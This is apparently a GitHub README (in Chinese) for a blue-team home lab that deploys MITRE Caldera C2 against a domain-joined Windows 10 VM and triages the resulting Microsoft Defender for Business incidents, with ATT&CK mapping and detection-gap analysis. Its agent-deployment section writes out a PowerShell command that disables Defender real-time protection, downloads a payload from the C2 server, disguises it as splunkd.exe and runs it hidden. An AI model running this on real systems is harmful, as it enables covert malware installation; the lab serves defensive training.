DurgaRamireddy/Enterprise-Threat-Detection-Lab---Caldera-C2-vs-Microsoft-Defender
GitHub: DurgaRamireddy/Enterprise-Threat-Detection-Lab---Caldera-C2-vs-Microsoft-Defender
企业威胁检测实验室,通过搭建 AD 域、Caldera C2 与 Microsoft Defender for Business 的端到端环境,还原 SOC 分析师面对真实攻击的检测与响应流程。
Stars: 1 | Forks: 0
# 企业威胁检测实验室 - Caldera C2 与 Microsoft Defender 对比
**工具:** Caldera 5.x · Microsoft Defender for Business · Windows Server 2022 · Windows 10 · Kali Linux · VMware Workstation
**MITRE ATT&CK:** T1113 · T1074 · T1560 · T1005 · T1518 · T1083 · T1560.001
**类型:** 家庭实验室 · 蓝队 · SOC 分析 · 威胁检测 · 云端 EDR · C2 检测
---
## 概述
本项目模拟了完整的企业 SOC 工作流程 - 从构建 Active Directory 域环境到部署真实的 C2 框架,执行 MITRE ATT&CK 映射的攻击方案,并在云原生 EDR 门户中对结果事件进行分级处理。
目标是复现 SOC 一级分析师的完整体验:攻击者已在网络内部,恶意软件已在域加入的端点上运行,而你正在处理事件队列。
**本实验室端到端展示以下内容:**
1. 构建 Active Directory 域(`lab.local`)并部署 Windows Server 2022
2. 将 Windows 10 工作站加入域并注册到 Microsoft Defender for Business
3. 在 Kali Linux 上部署 MITRE Caldera C2 并在目标上建立活跃代理
4. 执行多个对手方案(收集、渗出、横向移动)
5. 在 Microsoft Defender 门户中分级真实告警与事件
6. 将检测结果映射回 MITRE ATT&CK 技术
---
## 实验室架构
```
┌─────────────────────────────────────────────────────────────────┐
│ VMware Host-Only Network │
│ 192.168.255.0/24 │
│ │
│ ┌──────────────────┐ ┌──────────────────────────────┐ │
│ │ Windows Server │ │ Kali Linux │ │
│ │ 2022 │ │ MITRE Caldera C2 Server │ │
│ │ DC: lab.local │ │ 192.168.255.135 │ │
│ │ 192.168.255.130 │ │ localhost:8888 │ │
│ │ AD DS / DNS │ └──────────────────────────────┘ │
│ └──────────────────┘ │ │
│ │ C2 Beacon │
│ ▼ │
│ ┌──────────────────────────────────┐ │
│ │ Windows 10 (CORP-PC01) │ │
│ │ desktop-4fnnse5.lab.local │ │
│ │ 192.168.161.156 │ │
│ │ Domain-joined · MDE Onboarded │ │
│ │ Sandcat Agent (splunkd.exe) │ │
│ └──────────────────────────────────┘ │
│ │ │
│ │ Telemetry │
│ ▼ │
│ ┌──────────────────────────────────┐ │
│ │ Microsoft Defender for Business │ │
│ │ security.microsoft.com │ │
│ │ Cloud EDR · Incident Portal │ │
│ └──────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
| 虚拟机 | 操作系统 | IP 地址 | 角色 |
|---|---|---|---|
| Windows Server 2022 | Server 2022 | 192.168.255.130 | 域控制器(lab.local) |
| Windows 10 | Windows 10 22H2 | 192.168.161.156 | 受害端点(域加入) |
| Kali Linux | Kali Rolling | 192.168.255.135 | 攻击者 / Caldera C2 |
| 云端门户 | Microsoft Defender | security.microsoft.com | SOC 检测与响应 |
---
## Active Directory 配置
### 域:`lab.local`
```
# 安装 AD DS 角色
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
# 提升为域控制器
Install-ADDSForest `
-DomainName "lab.local" `
-DomainNetbiosName "LAB" `
-ForestMode "WinThreshold" `
-DomainMode "WinThreshold" `
-InstallDns:$true `
-Force:$true
```
### 创建的域用户
| 用户名 | 角色 | 用途 |
|---|---|---|
| jsmith | 标准用户 | 模拟员工账户 |
| mjones | 标准用户 | 模拟员工账户 |
| sadmin | 域管理员 | 用于攻击升级的特权账户 |
```
# 创建域用户
New-ADUser -Name "John Smith" -SamAccountName "jsmith" `
-AccountPassword (ConvertTo-SecureString "[Lab credential - not disclosed]" -AsPlainText -Force) `
-Enabled $true
New-ADUser -Name "Mary Jones" -SamAccountName "mjones" `
-AccountPassword (ConvertTo-SecureString "[Lab credential - not disclosed]" -AsPlainText -Force) `
-Enabled $true
# 创建域管理员
New-ADUser -Name "SOC Admin" -SamAccountName "sadmin" `
-AccountPassword (ConvertTo-SecureString "[Lab credential - not disclosed]" -AsPlainText -Force) `
-Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "sadmin"
```
### 域加入 CORP-PC01
```
# 在 Windows 10 VM 上
Add-Computer -DomainName "lab.local" `
-Credential (Get-Credential) `
-Restart
```
---
## Microsoft Defender 入驻
**门户:** `security.microsoft.com`
**租户:** `lab tenant (脱敏)`
**产品:** Microsoft Defender for Business
### 入驻步骤
1. 导航至 设置 → 端点 → 入驻
2. 选择 Windows 10 → 本地脚本 → 下载软件包
3. 将 `WindowsDefenderATPOnboardingScript.cmd` 传输到 CORP-PC01
4. 以管理员身份运行
**在门户中确认:**
```
Device: desktop-4fnnse5.lab.local
IP: 192.168.161.156
OS: Windows 10 22H2
Status: Active / Onboarded
```
---
## Caldera C2 配置
### Kali Linux 安装
```
# 克隆并包含所有子模块
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
# 安装 Python 依赖项
pip3 install -r requirements.txt --break-system-packages
# 为 UI 构建安装 Node.js
sudo apt install nodejs npm -y
# 首次启动 UI 构建
python3 server.py --insecure --build
# 后续启动
python3 server.py --insecure
```
**访问地址:** `http://localhost:8888`
**凭据:**(仅在隔离实验室环境中使用默认凭据)
### 向 CORP-PC01 部署代理
```
# 在 CORP-PC01 - 以管理员身份运行 PowerShell
# 暂时禁用实时保护以进行部署
Set-MpPreference -DisableRealtimeMonitoring $true
# 部署 Sandcat 代理
$server="http://192.168.255.135:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$data=$wc.DownloadData($url);
get-process | ? {$_.modules.filename -like "C:\Users\Public\splunkd.exe"} | stop-process -f;
rm -force "C:\Users\Public\splunkd.exe" -ea ignore;
[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$data) | Out-Null;
Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;
# 重新启用实时保护
Set-MpPreference -DisableRealtimeMonitoring $false
```
**在 Caldera 中确认代理存活:**
```
Host: DESKTOP-4FNNSE5
Group: red
Platform: windows
Privilege: Elevated
Status: alive, trusted
```
---
## 执行的攻击方案
### 操作 1 - 超级间谍(收集与发现)
**对手:** 超级间谍
**目标:** 模拟广泛收集与系统侦察
| 技术 | MITRE ID | 状态 |
|---|---|---|
| 查找文件 | T1083 | ✅ 成功 |
| 发现防病毒程序 | T1518.001 | ✅ 成功 |
| 屏幕捕获 | T1113 | ✅ 成功 |
| 复制剪贴板 | T1115 | ✅ 成功 |
| 创建暂存目录 | T1074.001 | ✅ 成功 |
| 暂存敏感文件 | T1074 | ✅ 收集 |
| 压缩暂存目录 | T1560.001 | ✅ 收集 |
---
### 操作 2 - 掠夺(凭据访问与渗出)
**对手:** 掠夺
**目标:** 模拟数据窃取与渗出准备
| 技术 | MITRE ID | 状态 |
|---|---|---|
| 查找文件 | T1083 | ✅ 成功 |
| 创建暂存目录 | T1074.001 | ✅ 成功 |
| 压缩暂存目录 | T1560.001 | ✅ 成功 |
**Defender 检测生成:** ✅
`可疑屏幕捕获活动` - 中等严重性
---
### 操作 3 - 小偷(渗出)
**对手:** 小偷
**目标:** 模拟有针对性的文件窃取与暂存以进行渗出
| 技术 | MITRE ID | 状态 |
|---|---|---|
| 查找文件 | T1083 | ✅ 成功 |
| 创建暂存目录 | T1074.001 | ✅ 成功 |
| 压缩暂存目录 | T1560.001 | ✅ 收集 |
---
## Defender 检测与事件分析
### 事件 ID 1:在单个端点上检测到 'SandCat'
| 字段 | 值 |
|---|---|
| 严重性 | 中等 |
| 状态 | 活动 |
| 类别 | 收集、恶意软件 |
| 检测源 | EDR、防病毒 |
| 影响设备 | desktop-4fnnse5.lab.local |
| 影响账户 | 管理员 |
| 首次活动 | 2026年3月25日 22:48 |
| 最后活动 | 2026年3月26日 00:48 |
| 优先级分数 | 56(在操作间升级) |
**活跃告警:**
1. `已阻止活跃的 'SandCat' 恶意软件` - 防病毒
2. `可疑屏幕捕获活动` - EDR
**事件图谱:**
Defender 可视化了完整的攻击链:
```
192.168.255.135 (C2) ──► desktop-4fnnse5 ──► splunkd.exe ──► 2 Processes
```
---
## 截图
### Caldera - 攻击操作




### Microsoft Defender - 事件分析






---
## SOC 分析员分级 - 事件遍历
**场景:** Defender 门户中触发告警。你是值班的一级分析员。
### 步骤 1 - 初始分级
- 事件严重性: **中等**
- 设备: `desktop-4fnnse5.lab.local` - 域加入的工作站
- 检测源: EDR 与防病毒同时触发 - 高置信度检测
- 威胁名称: **SandCat** - 已知的 MITRE Caldera C2 代理
### 步骤 2 - 范围评估
- 事件图谱显示来自 `192.168.255.135`(对工作站子网而言为外部)的 C2 通信
- 代理以 `splunkd.exe` 身份运行,位于 `C:\Users\Public\` - 伪装成合法进程
- 权限级别: **提升** - 攻击者已在端点上获得管理员权限
- 代理生成了两个进程 - 确认后利用活动
### 步骤 3 - MITRE ATT&CK 映射
| 战术 | 技术 | 证据 |
|---|---|---|
| 执行 | T1059.001 PowerShell | 代理通过 PowerShell 部署 |
| 防御规避 | T1036.005 伪装 | Public 文件夹中的 splunkd.exe |
| 收集 | T1113 屏幕捕获 | 告警:可疑屏幕捕获 |
| 收集 | T1074 数据暂存 | 创建暂存目录 |
| 渗出 | T1560.001 通过实用程序归档 | 压缩暂存数据 |
| C2 | T1071.001 Web 协议 | HTTP 信标至 192.168.255.135:8888 |
### 步骤 4 - 建议的响应操作
1. **隔离** `desktop-4fnnse5` 立即断开网络
2. **终止** `splunkd.exe` 进程(在 Caldera 日志中确认 PID)
3. **移除** `C:\Users\Public\splunkd.exe`
4. **重置** 管理员凭据 - 已获得提升权限
5. **排查** 横向移动 - 检查其他域加入机器是否存在类似信标
6. **审查** 域控制器日志,查找任何域复制或权限提升尝试
7. **阻止** `192.168.255.135` 在网络边界
---
## 关键发现
| 指标 | 值 |
|---|---|
| 执行的攻击方案 | 3 |
| 覆盖的 MITRE ATT&CK 技术 | 6 |
| 生成的 Defender 告警 | 2 |
| 事件优先级分数 | 56 |
| 触发的检测源 | EDR + 防病毒 |
| C2 存活时间(至检测) | ~1 分钟 |
| 代理权限级别 | 提升(管理员) |
---
## 观察到的检测差距
| 技术 | MITRE ID | 是否检测到 | 原因 |
|---|---|---|---|
| 屏幕捕获 | T1113 | ✅ 是 | 高保真 EDR 信号 |
| SandCat 恶意软件 | - | ✅ 是 | 已知特征码 |
| 文件暂存 | T1074 | ❌ 否 | Defender for Business 告警阈值以下 |
| 归档创建 | T1560 | ❌ 否 | 无完整 P2 许可证时低保真 |
| 域枚举 | T1087 | ❌ 否 | 需要 Splunk 与事件 ID 4662 日志 |
**结论:** Microsoft Defender for Business 对已知工具链的恶意软件与 EDR 提供了可靠的覆盖。检测 living-off-the-land 与数据暂存技术需要额外的遥测层(SIEM + 审计策略调优)。
---
## 本仓库中的文件
```
enterprise-threat-detection-lab/
├── README.md
├── scripts/
│ ├── ad-setup.ps1 # AD DS install + domain promotion
│ ├── create-domain-users.ps1 # User creation script
│ ├── deploy-caldera-agent.ps1 # Sandcat agent deployment
│ └── defender-exclusions.ps1 # MDE exclusion configuration
└── screenshots/
├── sandcat-incident-graph.png # Defender incident graph
├── defender-alerts-list.png # Alert queue view
├── caldera-operation-details.png # Attack technique execution log
└── caldera-agents.png # Live agent confirmed
```
---
## 展示的技能
- Active Directory 部署与管理(Windows Server 2022)
- 云端 EDR 入驻与配置(Microsoft Defender for Business)
- C2 框架部署与操作(MITRE Caldera)
- 使用 MITRE ATT&CK 方案进行对手模拟
- 云端 SOC 门户中的事件分级与分析
- MITRE ATT&CK 技术映射与文档记录
- 检测差距分析与覆盖评估
- 域环境攻击面理解
---
## 下一个实验室:Active Directory 攻击检测
本实验室的 AD 环境将扩展用于专注的 AD 攻击场景:
- 通过 Impacket 进行 Kerberoasting(T1558.003)
- 通过 Impacket-psexec 进行 Pass-the-Hash(T1550.002)
- 通过 Impacket-secretsdump 进行 DCSync(T1003.006)
- 使用 BloodHound 进行 AD 枚举(T1069、T1087)
检测层:Splunk + Windows 事件 ID 4769、4624、4662、7045 以及自定义 Sigma 规则
---
## 参考
- [MITRE ATT&CK 框架](https://attack.mitre.org)
- [MITRE Caldera 文档](https://caldera.readthedocs.io)
- [Microsoft Defender for Business](https://docs.microsoft.com/en-us/microsoft-365/security/defender-business/)
- [Windows 安全事件 ID](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/)
**作者:** Durga Sai Sri Ramireddy | MS Cybersecurity, University of Houston
[](https://linkedin.com/in/durga-ramireddy)
[](https://github.com/DurgaRamireddy)
标签:Active Directory, AI合规, AMSI绕过, ATT&CK映射, C2框架, Cloudflare, HTTP工具, Microsoft Defender for Business, MITRE ATT&CK, MITRE Caldera, Plaso, SOC实验室, T1005, T1074, T1083, T1113, T1518, T1560, T1560.001, VMware Workstation, Web安全, Windows 10, Windows Server 2022, 事件研判, 云EDR, 企业安全运营中心, 告警关联, 命令与控制, 域环境搭建, 威胁检测, 安全学习资源, 安全工具集合, 安全演练, 对手模拟, 对手画像, 检测覆盖, 端点检测与响应, 网络安全审计, 脱壳工具, 蓝队分析, 速率限制处理, 防御者商业版